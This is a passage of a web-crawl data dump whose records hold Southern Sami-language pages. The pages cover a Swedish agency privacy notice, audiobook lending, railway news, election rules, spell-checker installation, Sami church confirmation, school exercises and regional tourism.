firstname.lastname@example.org gåajkoe dellie mijjieh registeretjaalegem dutnjien seedtebe. Tjaalegen sisvege lea dah persovnebïevnesh mijjieh gïetedibie dov bïjre jïh teekstem gusnie buerkiestibie guktie mijjieh persovnebïevnesidie gïetedibie. Daamhtaj medtie askem vaasa åvteli dagkeres tjaalegem dutnjien seedtie.\nJis datne mïelh naan persovnebïevnesem dov bïjre lea miste jallh fiejlie, maahtah krïevedh bïevnesem staeriedidh jallh sjïere tsiehkine gaertjiedamme vuekiem nuhtjedh. Gaskesadth dellie daatavaarjelimmie-tjirkijem jïh buerkesth maam datne mïelh miste jïh mannasinie.\nIh datne reaktam utnieh dov persovnebïevnesidie sliejhtedh jis Leeneståvroe vuesiehtimmieh:\nPersovnebïevnesidie daarpesje gïetedidh jis barkoem darjodh byjjes ïedtjine, gaertjiedimmesne latjkemerelasjovnesne datnine, mij åejvieladtjebarkosne meatan, arkijveaajkosne, jis reaktam soptsestimmie- jïh bïevnesefrïjjevoetesne illedh, jis reaktan åeliedimmien tjïrrehtidh jallh reaktan krïevemh vaarjelidh.\nDatne reaktam åtnah dov persovnebïevnesidie krïevedh sliejhtedh mejtie Leeneståvroe vöörhkie jis aktem daejstie tsiehkijste jaksa:\n- Bïevnesh mejtie ij daarpesjh dïsse mïsse lea tjöönghkeme\n- Gïetedimmie lea jååhkesjimmien våaroemisnie jïh datne ih vielie dïsse jååhkesjh\n- Gïetedimmie ryöktesth marhkemedoekemasse sjædta jïh datne ih dïsse jååhkesjh\n- Datne ih persovnebïevnesegïetedimmiem jååhkesjh mij åejvieladtjebarkoen mieresne jallh ïedtjeveaktadimmien mænngan jïh jis ij gååvnesh sjïere tsiehkieh mah lyövlehkåbpoe dov ïedtjeste.\n- Sliejhtemem kreava guktie reaktan skåltoem dievhtedh\n- Persovnebïevnesidie leah tjöönghkeme dan ektine bïevnesesiebriedahken dïenesji faaleldahkide (e-dïenesjh, sosijaale medijh)\nSåemies aejkien datne reaktam åtnah dov persovnebïevnesidie åadtjodh sïejhme, struktureradamme jïh masjijnelohkemes hammosne jïh lissine dov persovnebïevnesidie juhtedh mubpie organisasjovnese (jis teknihkeles vuekiem nuepie) jis gïetedimmien jååhkesjimmien jallh latjkemen våaroemisnie jïh automatiseereme vuekesne (IT-vierhtine). Daate reakta ij gåaredh jis åejvieladtjen gïetedimmie daerpies guktie darjomem darjodh man lea byjjes ïedtjine jallh lïhtse åejvieladtjibarkosne. Gaskesadth mijjen daatavaarjelimmietjirkijem jis sïjhth vielie daejredh.\nDatne reaktam åtnah gïrredh Leeneståvroen gïetedimmien vööste dov persovnebïevnesijstie jïh laejhtemh seedtedh daatavaarjelimmieåejvieladtjese. Datne maahtah gåess akt ryöktesth marhkemedoekemen vööste gïrredh jïh dellie Leeneståvroe marhkemedoekeminie orrijidh. Akte gïrreme ij maehtieh byjjesvoeteprinsïhpen tsevtsedh jïh mubpieh maehtieh ennje dov bïevnesidie nuhtjedh marhkemedoekemasse.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.lansstyrelsen.se\/blekinge\/other-languages\/minoritetssprak\/sydsamiska---nasjonelle-unnebelahkoeh\/naemhtie-mijjieh-dov-persovnebievnesh-gietedibie.html","date":"2020-01-25T19:43:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251681412.74\/warc\/CC-MAIN-20200125191854-20200125221854-00032.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":191,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":938,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh MTM:sne gærjah darjobe jïh gærjide dutnjien löönebe mejtie gïerve trygkesovveme tjaalegh lohkedh dan gaavhtan dov funksjovneheaptoe. Vuesiehtimmiej gaavhtan:\nGellie almetjh sveerjengïele mubpiengïeline sijhtieh håalemegærjah sveerjengïelesne jïh jeatjah gïeline lohkedh. Men ajve almetjh mejtie gïerve trygkesovveme tjaalegh lohkedh funksjovneheaptoen gaavhtan åadtjoeh håalemegærjah löönedh.\nHåalemegærjah sjïere njoelkedassen mietie Upphovsrättalaakesne dorjesuvvieh. Dah leah reegkes gïeline lohkeme sjïere dutnjien mejtie gïerve trygkesovveme tjaalegh lohkedh funksjovneheaptoen gaavhtan. Naan mijjen håalemegærjijste dovne håaleme jïh teekste. Daej gærjine maahtah teekstem jïh guvvieh vuejnedh datovren jallh mobilen skjeermesne mearan goltelh.\nGaajhkh gærjagåetine Sveerjesne maahtah håalemegærjah löönedh. Datne gærjide cd-skivesne, usb-mojhtesisnie jallh mojhtesekåarhtesne löönh. Ih naan vihtiestimmiem daarpesjh, nuekies jis soptsesh datne håalemegærjide daarpesjh. Eejnegen namhtah dejtie löönedh. Gihtjh barkijh gærjagåetesne, dah gujht datnem viehkiehtieh.\nDatne maahtah gærjide ryöktesth mijjen digitaale katalogeste Legimus veedtjedh. Dov gærjagåetie datnem viehkehte åtnoenommem jïh tjeakoesbaakoem åadtjodh jïh dutnjien vuesehte guktie daam darjodh.\nDatne maahtah håalemegærjah ovmessie vuekine lohkedh, sjïere håalemegærjaspïeline, datoresne, mobiltelefonesne jallh surfepleahtjosne.\nDatne mijjen appem, man nomme Legimus, utnedh jis edtjh mobiltelefonesne jallh surfepleahtjosne lohkedh. Dïhte aaj namhtah. Datne appen sïjse loggedh kontojne maam gærjagåetesne åådtjeme.\nMaehtede aaj tsiehkietjaalemegærjah gelline gïeline mijjeste löönedh. Gaskesadth mijjiem jis sïjhth tsiehkietjaalemelöönijem sjïdtedh.\nLegimus:esne maahtah vuejnedh mah håalemegærjah jïh tsiehkietjaalemegærjah gååvnesieh löönedh. Daesnie aaj gaavnh gærjah jeatjah hammojne. Mijjieh maehtebe aaj datnem viehkiehtidh gærjah jeatjah laantijste löönedh.\nLegimus gååvnese www.legimus.se","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.legimus.se\/102627\/sydsamiska-aarjelsaemien","date":"2020-01-19T17:24:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00032.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":216,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reerenasse lea nænnoestamme vielie raajroeh Röörosen ruvhteraajroen mietie jaepien 2020 båetieh. Vielie raajroeh juktie göökte tæjmoejfreekvense abpe dygnem sjædta. Ruvhteraajroe Röörosen jïh Tråanten gaskesne sjædta vielie goh 3-4 fealadimmieh aarkebiejjien. Joekehtse sjædta dan bomme-beetnegi åvteste. Reereme lea nænnoestamme ahte edtja aktem reaktam SJ:ine paahke 2 Noerthen bïjre sjidtedh. Reakta buerkeste edtja vielie raajroeh båetije biejjide båetedh.\nBomme-beetnegh aaj vielie el-faamoem Trööndelagen ruvhteraajrojne håksa, Tråanten S jïh Skïerden gaskesne, Mearohken ruvhteraajroen mietie Skïerden jïh rïjhkeraastegen gaskesne. Jïh Stavnen jïh Leangen ruvhteraajroeh aaj urrebe sjidtieh. Ij sjïdth buerebe el-faamoe Röörosen ruvhteraajrosne dan aejkien gænnah.\nJaepien 2020 dellie urrebe raajroeh båetieh mah aaj leah buerie byjresasse. Dellie båeries raajroeh 1980-90 jaepiej raejeste museumasse juhtieh. Dah orre raajroeh aaj buerebe lyjhke-laakan sjidtjieh goh dejstie båeries raajrojste. Ij leah didkiedamme annje jis dah raajroeh Röörosen ruvhteraajroen mietie edtjieh orre sjidtedh. Daelie SJ lea 13 orre raajroeh åesteme jïh voestegh dellie orre raajroeh Trööndelagen ruvhteraajrose båetieh.\n-Lea buerie mijjese Venstresne ahte numhtie sjædta jïh öövre vihkeles ahte mijjieh vïtnimh, stoerredigkiesaadthalmetje Jon Gunnes jeahta.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/rorosnytt.no\/jienebh-raajroeh-roorosen-ruvhteraajroen-mietie\/","date":"2020-01-25T01:31:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250628549.43\/warc\/CC-MAIN-20200125011232-20200125040232-00440.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":161,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mandaate joekedimmie\nGosse leeneståvroe gaajhkh tjaatsestimmieh ryökneme maahta mandaatejoekedimmiem krirriej gaskem aelkedh.\nHeerremh krirride\nGuktie meatan åadtjoeh mandaatejoekedimmesne årrodh rïjhkebiejjieveeljemisnie jïh veeljemisnie Europa-parlameentese tjuara krirrie unnemes njieljie proseenth låhkoste luhpie tjaatsestimmieh abpe laantesne. Jis krirrie rïjhkebiejjieveeljemisnie åådtjeme unnemes luhkiegöökte proseenth tjaatsestimmijste veeljemegievlesne krirrie åådtje meatan årrodh joekedimmesne dehtie tjïrkes mandaatijste dennie veeljemegievlesne.\nLaantedigkiereeremeveeljemisnie tjuara krirrie unnemes golme proseenth luhpie tjaatsestimmijste abpe laantedigkesne jis edtja meatan årrodh mandaatejoekedimmesne. Tjïeltereeremeveeljemisnie tjuara krirrie 3 proseenth veeljemegievliejuekeme tjïeltine jïh 2 proseenth tjïeltine gusnie idtji veeljemegievlide juekieh jis edtja meatan årrodh mandaatejoekedimmesne.\nMandaatejoekedimmie krirriej gaskem\nVoestes dah tjïrkes mandaath joekedidh jïh dan mænngan jalkedimmiemandaath. Dah tjïrkes mandaath joekede våaroemisnie dah tjaatsestimmieh krirrieh åådtjeme fïerhtene veeljemegievline.\nDïhte ryöknemevuekie maam nuhtjie dejtie tjïrkes mandaatide joekedidh gohtje \"dïhte jalkedamme oddetallevuekie\".\nVeeljeme Europa-parlameentese\nVeeljeme Europa-parlameentese gaajhkh mandaath tjïrkes jïh abpe laante akte veeljemegievlie.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/mandaate-joekedimmie.html","date":"2020-01-21T23:28:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250606226.29\/warc\/CC-MAIN-20200121222429-20200122011429-00415.warc.gz","language":"sma","language_score":0.9999625683,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.999962568283081}","num_words":132,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.108,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien staeriedimmieprovgraamme OpenOffice.org 3.x:se\nStaeriedimmieprovgraammem sijjiedehtedh\nDaesnie here maahtah staeriedimmiedïrregem viedtjedh. Naemhte dïhte staeriedimmiedïrrege vååjnoe, goh leah veedtjeme:\nJoekehtslaakan dåemede aktede weblohkijistie\/-jïh operatijvesystemeste måbpan. Naakene systeminie dle fïjle rïhpese, mubpie dellie fijlem vöörhkesåvva garrediskese. Jïh fijle vöörhkesovveme, guektenaejkien diedtieh dam fijlem gosse sijjiedehtedh.\nJis staeriedimmiedïrregem Divvun-CD:ste åadtjoeh, dellie barre guektenaejkien diedtieh dam staeriedimmiedïrregemmodulem (vuartesjh ikonem bijjielisnie).\nOpenOffice.org:em dle juhtehth jïh staeriedimmiedïrregem sijjiedahtah. Gyhtjelasse dellie jis datne sïjhth jåarhkedh lissiem sijjiedehtedh. Diedtieh \"OK\" juktie sijjiedehtedh. Goh riejries jïh sïjjiedahteme dellie föönstere jæjhta vuelelen. Diedtieh Dahph juktie jåarhkedh.\nUsing the speller\nSaemien staeriedimmiedïrregem juhtiehtidh:\n- Diedtieh gåalmede dajvese dalteseföönsterisnie, diedtieh die \"Mer\" :\n- Veeljh Teckensnitt slepkie soptsesehaamosne:\n- Veeljh gïele mij sïjhth gïelemenyjesne:\nby Børre Gaup","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/divvun.no\/sma\/korrektur\/userdocs\/mac\/install-OOo-3.html","date":"2020-01-19T16:09:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00240.warc.gz","language":"sma","language_score":0.9999630451,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999630451202393}","num_words":111,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kristedh\nGosse maanam edtja kristedh, dle maehtiejibie maanese sïlpebåaloem sjïeledidh. Daate sïlpe lea guhkiem aerpievuekiem åtneme jïh mijjieh libie dam sïlpem mijjen ektenes vaalteme. Ohtjetje kroessem dan sïlpe båaloen nuelesne guktie dïhte gærhkoen væhtam vuesehte. Gååvnesieh naan våaroeh guktie maehtiejibie dam båaloem maanese sjïeledidh. Naaken dijjieh eejtegistie tjoeverieh saemien aaleeste utnedh jïh dle mubpie gyrhkesjimme tjoevere aaj saemien sisvegem utnedh.\nHævvi Saemien Åålmege vaajtele aaj maanam edtja Saemien Åålmegeraaran tjaangedh. Dam aelhkebe dorje guktie maehtiejibie maanam dåeriedidh jïh eejhtegidie gaskesategem vedtedh dej darjomh mah maanide åadtjoeh gosse byjjenin.\nGååvnese aaj kriste teksth saemiengïelesne dovne eejhtegidie jïh kristeejhtegidie. Sisvege daejnie tekstine lea Kristenliturgijen jïh aaj sijjem åtna tjaeledh gusnie jïh gåessie edtjijidie maanam kristedh jïh aaj kristeejhtegi nommh.\n\n\nSïlpebåaloem\nGosse maanam edtja\nkristedh, maehtiejibie\nsïlpebåaloem maanese\nsjïeledidh.\n\n\nKristemejuvnehtsem\ntekstine åarjelsaemien-\ngïelesne eejtegidie jïh\nkristeejtegidie.\nSkylledh\nFïerhten jaepien Saemien åålmegeraerie åarjelsaemien dajvesne jaapetje skyllijh skyllijeööhpehtimmien suehpeden\/ruffien askese böörie.\nÖöhpehtimmien våaroeh lea saemien identiteete, gïele jïh kultuvre jïh saemien kristen-goerkeles. Jïjtjehke skylleme lea mïetsken aske jïh tjåanghkojde lea joekehtsh sijjine åarjelsaemien dajvesne utniejibie. Jaepie 2012 dle skylleme lij Værnes gærhkosne jïh jaepie 2013 dle Yttern gærhkosne Raanan tjïeltesne. Daan jaapetje skyllijh 2014 edtjieh Rörosne gærhkosne skyllemem årrodh.\nSkyllemeööhpehtimmie\nÖöhpehtimmieh leah golmen aejkien jaepiej dle skyllijh tjåanghkenin. Voestes aejkien skïerreden aske. Fïereguhten tjåanghkoej gaske lea maajhööhpehtimmien baaktoe. Mubpien tjåanghkoe lea njoektjen aske 2014. Daan jaepien 2014, edtjijibie Saemien gærhkoeraerine ektievuekiebarkoem utnedh. Daan tjåanghkose dle gaajhkh saemienskyllijh abpe nöörjeste båetieh.\nNov sån daejriejibie naan skyllijh sijhtieh jïjtjedh hïejmeraeresne skylledh, mohte læjhkan åadtjoejidie dåeriedidh mijjen saemien ööhpehtimmesne jïh aaj dåeriedidh gosse edtjiejibie saemien ööhpehtimmide orrijidh gusnie åadtjoejidie orresth saemien rohkelassh dåastodh- dïhte rohkelassh mij hïejmeraeresne skyllijidie aaj vadta.\nÅasa\nAbpe dam tjåanghkoem maaksa 2500:- gosse gåejmie lea jïh 5000:- jis ij leah gåejmie Saemien Åålmegeraeresne. SÅR sæjhta fealadimmienåasam dijjide skyllijidie maeksedh fïereguhtene tjåanghkose. Jienebe bïevnesh dan bïjre fïereguhte skyllijidie åadtjoeh gosse jïjtjemdh bïeljelieh.\nBievnedh:\nGosse edtjijidie bievnedh dam gaskesaadtegem gaavnijidie dan jaapetje skyllijeprogrammesne mij fïereguhte skyllije fïerhten jaepien åadtjoeh suehpeden-ruffien aske. Jis skyllije leah jïh ij leah ennje dååsteme naan bïevnesh dam skyllemeprogrammen bïjre, dle maahta mijjese dov e-påastem seedtedh jallh mijjese ringkedh.\ne-påaste: email@example.com\njallh drïekte mijjese\nMeerke Krihke Leine Bientie, hietievurrieh Jaahkoeööhpehtæmman åarjelsaemien dajvesne. Tlf 41 28 82 27 jallh e-påaste: firstname.lastname@example.org\nGaebpien Monica, åvtehke SÅ, tlf 99 34 94 77 jallh e-påaste: email@example.com\nBertil Jönsson, Diakovne tlf 99 48 88 27 jallh e-påaste: firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.samiskmenighet.no\/krsteme-jh-skylleme","date":"2020-01-18T06:06:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250592261.1\/warc\/CC-MAIN-20200118052321-20200118080321-00006.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":372,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosen maahtah diktem Soptsestem gosse datne vualkeme lohkedh maam Inger-Mari Aikio-Arianaick tjaaleme. Dikte lea gærjeste Åvtese jåhta jïh Lena Kappfjell lea diktem jarkoestamme.\nSoptsestem gosse datne vualkeme\naellieh gieriesvoeten bijre soptsesth\nakten jijjen mænngan\nmanne aaj sjeavohtsh oktemisnie låasem\ngosse datne vaadtsajamme[1]\n- 1«Åvtese jåhta, åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien». Kappfjell, Lena Gaski, Harald. DAT o.s. 2005.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172396\/topic:1:182173\/topic:1:185454\/resource:1:169761","date":"2020-01-22T11:11:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250606975.49\/warc\/CC-MAIN-20200122101729-20200122130729-00351.warc.gz","language":"sma","language_score":0.9996013045,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9996013045310974}","num_words":56,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjeltie 2019 Sjeltie 2019 öörnedimmiem Sjeltie 2018 jåarhka mij Maajehjaevriedajvem jïh Majavass-sjeltiem jarngese bïeji goh årganisasjovnehistovrijes areena.\nMaajehjaevrie jih Majavass-sjeltie lea dejpelistie akte sijjie orreme saemide Nååmesjevuemeste jïh Helgelaantedajveste. Dah mah Sjeltiem öörnedieh sijhtieh dam åarjelsaemien aerpievuekiem jealajehtedh – Maajehjaavran tjåanghkenidh jovnesåhkoej jïh Sjeltiem akten eadtjohke jïh jielije kultuvre- jïh saarnomesæjjan darjodh.\n– Sjeltie 2019 vååjnoe goh vihkeles gaavnedimmiesijjie åarjelsaemide Maajehjaevriedajvesne, jïh sjyöhtehke teemah saemien siebriedahkesne bæjjese vaalta saemiedigkieraerie Berit Marie E. Eira jeahta.\nDan gaavhtan 2019 lea aalkoealmetji gaskenasjonaale sïelejaepie, saemien gïele lij jarngesne Sjeltesne 2019. Lij dovne kuvsje\/teemaiehkede noeride saemien beapmoen bïjre dejtie mah gåetieluhpesne årroeh, jienebh håalomh gaskem jeatjah saemien gïelen jïh gïeledotkemen bïjre, sosijaale gaavnedimmie saemien beapmojne jïh saemien gyrhkesjimmie aejlegen. 40 almetjh öörnedæmman böötin jïh abpe öörnedimmie lij Sjeltien jïjtse lokaalesne Maajehjaevresne.\nDåarjoe 50.000 kråvnine lea vaaltasovveme dåarjoeöörnegistie Regijonaale evtiedimmieprosjekth. Sjeltie 2019 lea aaj 50.000 kråvnah dåarjojne åådtjeme Nordlaanten fylhkentjïelteste jïh dåarjoe lea dan åvteste dåarjoekrïevenassi mietie regijonaale evtiedimmieprosjektide.\nJis dov leah gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Berit Marie P.E. Eira, +47 913 28 626, email@example.com","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoem-vadta-aaarjelsaemien-gaavnedimmiesaejjan","date":"2020-01-19T16:47:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00304.warc.gz","language":"sma","language_score":0.9999738932,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999738931655884}","num_words":155,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.187,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh tjaalegidie Måersie faavroes, Soelege jïh nåejtie jïh Biejjie-niejten sealadimmie.\n1. laavenjasse\nDaelie datne tjaalegem Soelege jïh nåejtie lohkeme. Harald Gaski tjaaleme vuelie\/dikte aktem kultuvre-plåavhkasimmiem vuesehte Saepmesne. Buerkesth kultuvre-plåavhkasimmiem.\n2. laavenjasse\nLohkh tjaalegidie Måersie faavroes, Soelege jïh nåejtie jïh Biejjie-niejten sealadimmie.\n- Mij Saepmesne jïh veartanisnie heannadi dellie goh tjaalegh tjaalasovvin?\n- Sisvege daan biejjien sjeahta? Buerkesth man åvteste, jallh man åvteste ij.\n- Guktie gïele tjaaleginie? Gïele vuesehte gåessie dah tjaalegh tjaalasovveme? Buerkesth man åvteste, jallh man åvteste ij.\n- Maam sijhtieh jiehtedh daejnie tjaaleginie?\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\n- Kjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:187775","date":"2020-01-20T12:05:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598726.39\/warc\/CC-MAIN-20200120110422-20200120134422-00430.warc.gz","language":"sma","language_score":0.9996619225,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999661922454834}","num_words":148,"character_repetition_ratio":0.148,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2014\nFormaate\nApp\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nStoeredahke\n127 - 144 MB\nViehkiebaakoe\nSoptsese Rødhette og vargen lea akte dejstie byögkelommes soptsesijstie.\nDaelie maehtiejidie dïhte båeries klassikere orre guvviejgujmie HD-hammosne vuejnedh. Daate lea appem maam maanah mujhtieh gosse byjjenidh. Datne maahtah jïjtje lohkedh jallh baajh appem lohkedh. Appe lea aaj hijven viehkiedïrregem dejtie gïeh edtjieh aalkedh lohkedh.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_rodhette-og-ulven","date":"2020-01-18T14:32:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250592636.25\/warc\/CC-MAIN-20200118135205-20200118163205-00472.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klicka på bilderna för ett större format.\nBuerie båeteme åerjeljalledh Herjedaalan\nBuerie båeteme åerjeljalledh Herjedaalan!\nDaennie biehkesne Herjedaelesne gellieh tjaebpies voenh gååvnese. Myskvoekside eatnamisnie gilkedieh, bene aaj Myskvoeksejarngesne Neassesne. Eatnemem mïjlevijries beavnardahkem böörie, måedtiesåårts baalkah jïh njaelkie-aath goh laadtegh, loesh jïh tjïelkes tjaetsieh.\nHistovrijem\nGellieh voenijste maadtoem båantan vuekijste utnieh, sïeterijstie jïh orrebigkijijstie.\nOrre bigkijidie skåajjesne barkin jïh eatnemem nuhtjin. Aaj pluevide vihkeles lij jïh slaajojde jj nuhtjin.\nKölåsesne, Sörvattnesne, Mälesne Högvålenisnie, Ränningsvallesne, Brändåsgaertenisnie jïh Myskelåsenesne staate gåetieh öösti gåessie aejhtiji expropriasjovnen bïjre, sekeleskiften gaskoeh jïh gosk 1940-taalese jïh dejtie båatsoegåatoemasse læjkahtin. Dah aerebe båantide kråvnoarrentatovrh sjïdtin. Årroeh-almetjh leah åådtjeme bååstede gåetide jïh gööthsijjide åestedh, bene eah dajvem. Vijrije- jïh göölemereaktam ij meatan lij gåessie bååstede ööstin.\nDajvem aktem biehkiem åarjel Saepmeste. Daesnie båatsoesïjtem Ruvhten Sïjte gååvnese. Jaepiem 1955 staate sïjtem tjabrehtin juhtedh dej åejvie gööthjerkeste Käringsjöen lïhke don orre åejvie aarrah-sæjjan Brändåsene gusnie staate orre gåetieh saemide bigkeme. Jienebh dan bïjre maahta tjïelten kultuvre- jïh byjreseprogrammesne lohkedh.\nAerpievuekeste Lofsdaeliem- Glötem lea aktem dejstie dajvijste gusnie almetjh Herjedaelesne årroejin. Jaepiem 1931 aktem laantegeajnoem Glöte jïh Lofsdaelien gaskoeh bigkin jïh stuaride eelkin båetedh. 1965 voestes alpijneliftem bigkin. Daesnie maahtah jienebh lohkedh Lofdaelien histovrijen bïjre: visitlofsdalen.com\nTjoejkemem jïh Gålkoelasjhbaalkam\nDaesnie gujhth lopme jïh dam gaajhkide lyjhken mah lopmem iehtsieh. Stööremes stuaravoenem Lofsdaeliem lea. Lofsdaeliem aaj gåhtjoen: \" onne voenem stoerre gïerestalleminie\". Dajvem aktem eldoradom gaajhkide skovtereiehtsiejidie gusnie gellieh skovterelaategh leah. Aaj tjoejkijh mij akt gaevnieh mah daesnie sjeahta, gaajh heaven laategh jïh buerie tjoejkemh vaeresne. Aktem buerie baalkam mij aaj tjoejkemelaategasse stealleden lea Gålkoelasjhbaalkam mij 27 km guhkiem, Lofsdaeliem jïh Högvålenen gaskoeh mij tjoejkemasse dorjeme. Dïhte aktem biehkiem gaskeboelhke Rombobaalkeste Nidarosen (Tråanten) vööste. Högvålen voene guevtielisnie gællesje. Högvålen aktem Sveerjen jollemes voenijste gusnie 835 meeterh bijjelen haavesne lea.\nGiesiedarjomh\nGellieh giesiedarjomh lea: vaanterdimmiem vaeresne, håagkomem, sygkeldimmiem mountainbike:ine jallh barre raeffesne arrijh. Akten gielteges sijjem lea eatnamereservaatem Rogen jaevrien bïjre. Daesnie jïengem eatnemem skaepiedamme jïh buerie haerriehåagkomem lea. Rogen gaajh heaven sijjiem gusnie maahtah paddeldidh.\nJienebh bïevnesh: lofsdalen.com glote.se ranninsvallen.se myskoxcentrum.se\ntannasfiskecentrum.se fiskailofsdalenglote.se stf.se\nSidinformation","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/kommun.herjedalen.se\/omkommunen\/kartor\/informationstavlorikommunen\/informationstavlasydvastraharjedalen.4.72e78ea1157f6caac32200a3.html","date":"2020-02-19T03:43:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144027.33\/warc\/CC-MAIN-20200219030731-20200219060731-00041.warc.gz","language":"sma","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 